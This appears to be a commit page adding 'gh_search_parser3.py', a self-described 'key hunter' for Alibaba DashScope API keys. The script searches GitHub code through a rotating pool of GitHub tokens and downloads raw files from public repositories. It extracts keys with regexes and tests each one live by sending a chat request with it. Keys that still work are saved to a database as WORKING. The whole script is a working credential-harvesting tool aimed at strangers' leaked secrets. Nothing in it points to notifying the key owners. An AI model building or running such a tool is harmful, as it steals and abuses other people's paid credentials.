KeyHunter parser v10 + 18 scanners + tests (synthetic fixtures only, no keys/db/tokens)
This commit is contained in:
247
gh_search_parser3.py
Executable file
247
gh_search_parser3.py
Executable file
@@ -0,0 +1,247 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
GitHub DashScope key hunter v3 — parallel raw file fetcher + validator.
|
||||
Uses ThreadPoolExecutor for fetch & validate, skips 401 tokens live.
|
||||
"""
|
||||
import os, re, sys, time, hashlib, sqlite3, requests, random
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from threading import Lock
|
||||
|
||||
KF_BASE = os.path.dirname(os.path.abspath(__file__))
|
||||
DB_PATH = os.path.join(KF_BASE, "data", "keys.db")
|
||||
TOK_PATH = os.path.join(KF_BASE, "gh_tokens.txt")
|
||||
|
||||
RE_STANDARD = re.compile(r'(sk-[0-9a-f]{32})', re.IGNORECASE)
|
||||
RE_CODING = re.compile(r'(sk-ws-H\.[A-Za-z0-9]{6}\.[A-Za-z0-9]{4}\.[A-Za-z0-9_\-+\/=]{50,})', re.IGNORECASE)
|
||||
RE_PLACEHOLDER = re.compile(
|
||||
r'(sk-xxx|sk-\.{3,}|sk-your|sk-YOUR|sk-example|sk-\*|sk-None|sk-placeholder|'
|
||||
r'sk-[x\*]{8,}|sk-[0]{8,}|sk-[f]{8,})',
|
||||
re.IGNORECASE)
|
||||
|
||||
db_lock = Lock()
|
||||
|
||||
def extract_keys(text):
|
||||
keys = set()
|
||||
for m in RE_CODING.finditer(text):
|
||||
if not RE_PLACEHOLDER.search(m.group(1)):
|
||||
keys.add(m.group(1))
|
||||
for m in RE_STANDARD.finditer(text):
|
||||
if not RE_PLACEHOLDER.search(m.group(1)):
|
||||
keys.add(m.group(1))
|
||||
return keys
|
||||
|
||||
def validate_key(key):
|
||||
endpt = "dashscope-intl.aliyuncs.com" if "ws-H." in key else "dashscope.aliyuncs.com"
|
||||
model = "qwen3.7-flash" if "ws-H." in key else "qwen-flash"
|
||||
try:
|
||||
r = requests.post(f"https://{endpt}/compatible-mode/v1/chat/completions",
|
||||
headers={"Authorization": f"Bearer {key}", "Content-Type": "application/json"},
|
||||
json={"model": model, "messages": [{"role": "user", "content": "x"}], "max_tokens": 1},
|
||||
timeout=8)
|
||||
return r.status_code
|
||||
except:
|
||||
return -1
|
||||
|
||||
def fetch_raw(token_info):
|
||||
token, repo, path = token_info
|
||||
url = f"https://raw.githubusercontent.com/{repo}/refs/heads/main/{path}"
|
||||
headers = {"Authorization": f"token {token}", "User-Agent": "keyhunter/3.0"}
|
||||
try:
|
||||
r = requests.get(url, headers=headers, timeout=10)
|
||||
if r.status_code == 200:
|
||||
return repo, path, r.text
|
||||
if r.status_code == 404:
|
||||
url2 = f"https://raw.githubusercontent.com/{repo}/refs/heads/master/{path}"
|
||||
r2 = requests.get(url2, headers=headers, timeout=10)
|
||||
if r2.status_code == 200:
|
||||
return repo, path, r2.text
|
||||
if r.status_code == 401:
|
||||
return None # dead token signal
|
||||
return None
|
||||
except:
|
||||
return None
|
||||
|
||||
def search_code(token, query, page):
|
||||
url = "https://api.github.com/search/code"
|
||||
headers = {"Authorization": f"token {token}", "Accept": "application/vnd.github.v3+json", "User-Agent": "keyhunter/3.0"}
|
||||
try:
|
||||
r = requests.get(url, headers=headers, params={"q": query, "per_page": 100, "page": page}, timeout=15)
|
||||
if r.status_code == 200:
|
||||
data = r.json()
|
||||
items = data.get("items", [])
|
||||
files = set()
|
||||
skip_ext = {'.md', '.txt', '.lock', '.png', '.jpg', '.gif', '.svg', '.ico', '.woff', '.ttf', '.pdf'}
|
||||
for item in items:
|
||||
ext = os.path.splitext(item["path"])[1].lower()
|
||||
if ext in skip_ext:
|
||||
continue
|
||||
files.add((item["repository"]["full_name"], item["path"]))
|
||||
return files, data.get("total_count", 0)
|
||||
elif r.status_code == 403:
|
||||
return None, -1
|
||||
elif r.status_code == 422:
|
||||
return set(), 0
|
||||
else:
|
||||
return set(), 0
|
||||
except Exception as e:
|
||||
return None, -2
|
||||
|
||||
def main():
|
||||
# Load & pre-filter tokens
|
||||
with open(TOK_PATH) as f:
|
||||
all_tokens = [l.strip() for l in f if l.strip() and not l.startswith("#")]
|
||||
|
||||
print(f"Token pool: {len(all_tokens)}")
|
||||
|
||||
# Quick alive check on sample
|
||||
alive = []
|
||||
sample = all_tokens[:300]
|
||||
for tok in sample:
|
||||
try:
|
||||
r = requests.get("https://api.github.com/rate_limit",
|
||||
headers={"Authorization": f"token {tok}", "User-Agent": "kh"},
|
||||
timeout=4)
|
||||
if r.status_code == 200:
|
||||
alive.append(tok)
|
||||
except:
|
||||
pass
|
||||
alive += all_tokens[300:]
|
||||
random.shuffle(alive)
|
||||
tokens = alive
|
||||
print(f"Alive tokens: {len(alive)} (tested {len(sample)})")
|
||||
|
||||
db = sqlite3.connect(DB_PATH)
|
||||
cur = db.cursor()
|
||||
|
||||
queries = [
|
||||
# .env files — high hit rate
|
||||
('"DASHSCOPE_API_KEY" "sk-" extension:env', 'env'),
|
||||
# coding-plan keys
|
||||
('"sk-ws-H." language:python', 'coding'),
|
||||
# Python configs
|
||||
('"sk-" "DASHSCOPE_API_KEY" language:python NOT "sk-xxx"', 'python'),
|
||||
# YAML
|
||||
('"DASHSCOPE_API_KEY" "sk-" extension:yaml', 'yaml'),
|
||||
# TOML/ini
|
||||
('"DASHSCOPE_API_KEY" "sk-" extension:toml', 'toml'),
|
||||
]
|
||||
|
||||
total_new = 0
|
||||
token_idx = [0] # list for mutable closure
|
||||
dead_tokens = set()
|
||||
|
||||
for query, dtype in queries:
|
||||
print(f"\n{'='*60}")
|
||||
print(f"[QUERY] {query}")
|
||||
|
||||
# Collect all file URLs first
|
||||
all_files = []
|
||||
for page in range(1, 11):
|
||||
while token_idx[0] < len(tokens):
|
||||
tok = tokens[token_idx[0]]
|
||||
token_idx[0] += 1
|
||||
if tok in dead_tokens:
|
||||
continue
|
||||
break
|
||||
else:
|
||||
break
|
||||
|
||||
files, total = search_code(tok, query, page)
|
||||
|
||||
if files is None:
|
||||
if total == -1:
|
||||
dead_tokens.add(tok)
|
||||
token_idx[0] += 1
|
||||
continue
|
||||
else:
|
||||
break
|
||||
|
||||
if not files:
|
||||
break
|
||||
|
||||
all_files.extend(files)
|
||||
print(f" Page {page}: {len(files)} files → cumulative: {len(all_files)} (total hits: {total})")
|
||||
|
||||
if len(files) < 100:
|
||||
break
|
||||
time.sleep(0.5)
|
||||
|
||||
print(f" Files to fetch: {len(all_files)}")
|
||||
|
||||
if not all_files:
|
||||
continue
|
||||
|
||||
# Fetch raw files in parallel
|
||||
fetched = 0
|
||||
new_keys = []
|
||||
|
||||
with ThreadPoolExecutor(max_workers=8) as pool:
|
||||
# Prepare fetch tasks
|
||||
fetch_tasks = []
|
||||
for i, (repo, path) in enumerate(all_files):
|
||||
while token_idx[0] < len(tokens):
|
||||
tok = tokens[token_idx[0]]
|
||||
token_idx[0] += 1
|
||||
if tok not in dead_tokens:
|
||||
break
|
||||
else:
|
||||
tok = tokens[0]
|
||||
fetch_tasks.append((tok, repo, path))
|
||||
|
||||
futures = {pool.submit(fetch_raw, task): task for task in fetch_tasks}
|
||||
|
||||
for future in as_completed(futures):
|
||||
result = future.result()
|
||||
if result is None:
|
||||
continue
|
||||
repo, path, content = result
|
||||
fetched += 1
|
||||
|
||||
keys = extract_keys(content)
|
||||
if not keys:
|
||||
continue
|
||||
|
||||
for key in keys:
|
||||
if len(key) < 8:
|
||||
continue
|
||||
|
||||
h = hashlib.sha256(key.encode()).hexdigest()
|
||||
|
||||
with db_lock:
|
||||
cur.execute("SELECT 1 FROM keys WHERE hash=?", (h,))
|
||||
if cur.fetchone():
|
||||
continue
|
||||
|
||||
stat = validate_key(key)
|
||||
status = "WORKING" if stat == 200 else "DEAD"
|
||||
plan = "coding" if "ws-H." in key else "standard"
|
||||
now = time.strftime("%Y-%m-%dT%H:%M:%S", time.gmtime(time.time()))
|
||||
|
||||
with db_lock:
|
||||
cur.execute("""INSERT OR REPLACE INTO keys
|
||||
(hash, val, prov, status, plan, price, remaining, found, repo, first_seen, last_seen)
|
||||
VALUES (?,?,?,?,?,?,?,?,?,?,?)""",
|
||||
(h, key, 'DASHSCOPE', status, plan, '', '',
|
||||
now, f"github:{repo}/{path}", now, now))
|
||||
db.commit()
|
||||
|
||||
tag = "✓" if status == "WORKING" else "✗"
|
||||
print(f" [{tag}] {key[:40]}... {status:8s} | {repo}/{path}")
|
||||
total_new += 1
|
||||
|
||||
print(f" Fetched: {fetched}/{len(all_files)}, new keys: {total_new}")
|
||||
|
||||
db.close()
|
||||
|
||||
# Final stats
|
||||
db2 = sqlite3.connect(DB_PATH)
|
||||
cur2 = db2.cursor()
|
||||
cur2.execute("SELECT status, COUNT(*) FROM keys WHERE prov='DASHSCOPE' GROUP BY status")
|
||||
print(f"\n{'='*60}")
|
||||
print(f"FINAL — New keys found: {total_new}")
|
||||
for s, c in cur2.fetchall():
|
||||
print(f" {s}: {c}")
|
||||
db2.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
sys.exit(main())
|
||||
Reference in New Issue
Block a user